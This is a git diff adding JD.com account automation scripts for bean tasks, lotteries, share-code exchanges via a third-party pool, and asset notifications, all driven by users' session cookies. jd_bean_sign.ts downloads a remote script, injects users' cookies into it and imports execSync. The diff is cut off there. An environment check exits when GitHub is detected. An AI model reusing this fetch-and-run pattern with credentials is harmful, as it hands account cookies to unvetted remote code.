'Cookie': cookie + } + }) + return data +} + +async function getTask() { + let {data}: any = await axios.get("https://jdjoy.jd.com/module/task/draw/get?configCode=e1a458713a854e2abb1db2772e540532&unionCardCode=", { + headers: {'user-agent': USER_AGENT, 'cookie': cookie} + }) + return data +} + +async function join() { + let {data}: any = await axios.get("https://jdjoy.jd.com/module/task/draw/join?configCode=e1a458713a854e2abb1db2772e540532&fp=&eid=", { + headers: {'user-agent': USER_AGENT, 'cookie': cookie} + }) + console.log(`抽中:${data.data.rewardName}`) + return +} \ No newline at end of file diff --git a/jd_api_test.ts b/jd_api_test.ts new file mode 100644 index 0000000000..aabb22a1d8 --- /dev/null +++ b/jd_api_test.ts @@ -0,0 +1,52 @@ +/** + * 网络测试 + * 1、测试是否能访问助力池 + * 2、助力获取失败、没有统计到运行次数,很大可能因为访问api失败 + * 3、如果出现失败,自行更换设备dns + */ + +import axios from 'axios'; +import {format} from 'date-fns'; +import {wait} from "./TS_USER_AGENTS"; + +!(async () => { + console.log(`\n==================脚本执行- 北京时间(UTC+8):${format(Date.now(), 'yyyy-MM-dd HH:mm:ss')}\n\n`) + + let cars: string[] = ['bean', 'farm', 'health', 'jxfactory', 'pet']; + let db: string = cars[getRandomNumberByRange(0, 5)]; + let num: number = getRandomNumberByRange(5, 20); + console.log(`本次随机选择${db}获取${num}个随机助力码`); + await car(db, num); + + let times = getRandomNumberByRange(3, 6); + console.log(`开始测试${times}次上报`); + for (let i = 0; i < times; i++) { + console.log(`第${i + 1}次:`, await runTimes()) + await wait(Math.floor(getRandomNumberByRange(1, 5)) * 1000) + } +})() + +function getRandomNumberByRange(start: number, end: number): number { + return Math.floor(Math.random() * (end - start) + start); +} + +async function car(db: string, num: number) { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/${db}/${num}`, { + timeout: 10000 + }); + console.log('获取助力池成功') + console.log(data) + } catch (e: any) { + console.log(`获取助力池失败:`, e); + } +} + +async function runTimes() { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/runTimes?activityId=bean&sharecode=123`, {timeout: 10000}) + return '成功' + } catch (e: any) { + return `${e}` + } +} \ No newline at end of file diff --git a/jd_bean_box.ts b/jd_bean_box.ts new file mode 100644 index 0000000000..ff64563796 --- /dev/null +++ b/jd_bean_box.ts @@ -0,0 +1,162 @@ +/** + * 领京豆-任务 + * 助力:内部 -> HW + * cron: 1 0,9,12,18 * * * + */ + +import axios from 'axios' +import USER_AGENT, {requireConfig, wait} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '', UserName: string, index: number, uuid: string +let shareCodeSelf: { shareCode: string, groupCode: string, activeId: string }[] = [], shareCode: { shareCode: string, groupCode: string, activeId: string }[] = [], shareCodeHW: { shareCode: string, groupCode: string, activeId: string }[] = [] + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await initForTurntableFarm() + let times: number = res.remainLotteryTimes + console.log('剩余抽奖机会:', times) + for (let j = 0; j < times; j++) { + console.log('开始抽奖...') + res = await initForTurntableFarm(1) + if (res.code === '0') { + if (res.type === 'thanks') { + console.log('抽奖成功,获得:狗屁') + } else { + console.log('抽奖成功,获得:', res.type) + } + } else { + console.log('抽奖失败', res) + } + await wait(5000) + } + + uuid = randomString(40) + for (let j = 0; j < 2; j++) { + console.log(`Round:${j + 1}`) + res = await api('beanTaskList', {"viewChannel": "AppHome"}) + try { + for (let t of res.data.taskInfos) { + if (t.status === 1) { + console.log(t.taskName) + res = await api('beanDoTask', { + "actionType": t.taskType === 3 ? 0 : 1, + "taskToken": t.subTaskVOS[0].taskToken + }) + res.data?.bizMsg ? console.log(res.data.bizMsg) : console.log(res) + await wait(t.waitDuration * 1000 || 2000) + + if (t.taskType !== 3) { + res = await api('beanDoTask', { + "actionType": 0, + "taskToken": t.subTaskVOS[0].taskToken + }) + if (res.data?.bizMsg) + console.log(res.data.bizMsg) + } + await wait(1000) + } + } + } catch (e) { + console.log('Error!', e) + } + await wait(2000) + } + + // 抢京豆 + res = await qjd('signBeanGroupStageIndex', {"monitor_refer": "", "rnVersion": "3.9", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1", "monitor_source": "bean_m_bean_index"}) + if (!res.data.shareCode) { + console.log('抢京豆 init...') + res = await qjd('signGroupHit', {"activeType": 2}) + await wait(1000) + res = await qjd('signBeanGroupStageIndex', {"monitor_refer": "", "rnVersion": "3.9", "fp": "-1", "shshshfp": "-1", "shshshfpa": "-1", "referUrl": "-1", "userAgent": "-1", "jda": "-1", "monitor_source": "bean_m_bean_index"}) + } + console.log('助力码', res.data.shareCode) + shareCodeSelf.push({shareCode: res.data.shareCode, groupCode: res.data.groupCode, activeId: res.data.jklInfo.keyId}) + await wait(2000) + } + + console.log('内部助力', shareCodeSelf) + for (let i = 0; i < cookiesArr.length; i++) { + if (shareCodeHW.length === 0) { + await getShareCodeHW() + } + shareCode = [...shareCodeSelf, ...shareCodeHW] + uuid = randomString(40) + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + for (let code of shareCode) { + console.log(`${UserName} 去助力 ${code.shareCode}`) + res = await qjd('signGroupHelp', {"activeType": 2, "groupCode": code.groupCode, "shareCode": code.shareCode, "activeId": code.activeId, "source": "guest"}) + console.log(res.data?.helpToast) + if (res.data.respCode === 'SG209') + break + await wait(2000) + } + } +})() + +async function api(fn: string, body: object) { + let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=${fn}`, + `body=${encodeURIComponent(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, { + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'user-agent': 'JD4iPhone/167863%20(iPhone;%20iOS;%20Scale/3.00)', + 'Cookie': cookie + } + }) + return data +} + +async function qjd(fn: string, body?: object) { + let {data} = await axios.get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, { + headers: { + 'Host': 'api.m.jd.com', + 'User-Agent': USER_AGENT, + 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html', + 'Cookie': cookie + } + }) + return data +} + +function randomString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +async function initForTurntableFarm(type: number = 0) { + let url = type === 0 + ? 'https://api.m.jd.com/client.action?functionId=initForTurntableFarm&body=%7B%22version%22%3A4%2C%22channel%22%3A1%7D&appid=wh5' + : 'https://api.m.jd.com/client.action?functionId=lotteryForTurntableFarm&body=%7B%22type%22%3A1%2C%22version%22%3A4%2C%22channel%22%3A1%7D&appid=wh5' + let {data} = await axios.get(url, { + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://h5.m.jd.com', + 'User-Agent': USER_AGENT, + 'Referer': 'https://h5.m.jd.com/', + 'Cookie': cookie + } + }) + return data +} + +async function getShareCodeHW() { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/HW_CODES`) + console.log('获取HW_CODES成功(api)') + shareCodeHW = data['qjd'] + } catch (e: any) { + console.log('获取HW_CODES失败(api)') + } +} \ No newline at end of file diff --git a/jd_bean_change.js b/jd_bean_change.js new file mode 100644 index 0000000000..5d8a114780 --- /dev/null +++ b/jd_bean_change.js @@ -0,0 +1,314 @@ +/* +京东资产变动通知脚本:jd_bean_change.js +Modified time: 2021-06-9 15:25:41 +统计昨日京豆的变化情况,包括收入,支出,以及显示当前京豆数量,目前小问题:下单使用京豆后,退款重新购买,计算统计会出现异常 +统计红包以及过期红包 +网页查看地址 : https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#京东资产变动通知 +2 9 * * * jd_bean_change.js, tag=京东资产变动通知, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon=============== +[Script] +cron "2 9 * * *" script-path=jd_bean_change.js, tag=京东资产变动通知 +=============Surge=========== +[Script] +京东资产变动通知 = type=cron,cronexp="2 9 * * *",wake-system=1,timeout=3600,script-path=jd_bean_change.js + +============小火箭========= +京东资产变动通知 = type=cron,script-path=jd_bean_change.js, cronexpr="2 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东资产变动通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = $.UserName; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + await bean(); + await showMsg(); + } + } + + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆 🐶${$.message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = [], todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } + } + await queryexpirejingdou();//过期京豆 + await redPacket();//过期红包 + // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + }) + $.expirejingdou = data['expirejingdou'][0]['expireamount']; + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data + $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; + let t = new Date() + t.setDate(t.getDate() + 1) + t.setHours(0, 0, 0, 0) + t = parseInt((t - 1) / 1000) + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2) + $.jsRed = $.jsRed.toFixed(2) + $.jdRed = $.jdRed.toFixed(2) + $.jdhRed = $.jdhRed.toFixed(2) + $.balance = data.balance + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2) + $.message += `\n当前总红包:${$.balance}(今日总过期${$.expiredBalance})元 🧧\n京喜红包:${$.jxRed}(今日将过期${$.jxRedExpire.toFixed(2)})元 🧧\n极速红包:${$.jsRed}(今日将过期${$.jsRedExpire.toFixed(2)})元 🧧\n京东红包:${$.jdRed}(今日将过期${$.jdRedExpire.toFixed(2)})元 🧧\n健康红包:${$.jdhRed}(今日将过期${$.jdhRedExpire.toFixed(2)})元 🧧`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bean_sign.ts b/jd_bean_sign.ts new file mode 100644 index 0000000000..6c16a1f650 --- /dev/null +++ b/jd_bean_sign.ts @@ -0,0 +1,46 @@ +import axios from "axios"; +import {readFileSync, writeFileSync, unlinkSync} from "fs"; +import {execSync} from "child_process"; +import {requireConfig} from "./TS_USER_AGENTS"; + +let notify = require('./sendNotify'), message: string = ''; + +async function main() { + let cookiesArr: any = await requireConfig(); + let cookiesNobyDa: { + cookie: string + }[] = [] + + for (let i = 0; i < cookiesArr.length; i++) { + cookiesNobyDa.push({cookie: cookiesArr[i]}) + } + let data: any = ''; + try { + data = await axios.get('https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js', {timeout: 5000}) + data = data.data + console.log('raw') + } catch (e) { + try { + data = await axios.get('https://ghproxy.com/https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js', {timeout: 10000}) + data = data.data + console.log('ghproxy') + } catch (e) { + data = '非脚本问题!网络错误,访问github失败' + } + } + + if (data.indexOf('京东多合一签到脚本') > -1) { + data = data.replace('var OtherKey = ``;', `var OtherKey = \`${JSON.stringify(cookiesNobyDa)}\`;`) + data = data.replace(/ztmFUCxcPMNyUq0P/g, 'q8DNJdpcfRQ69gIx') + 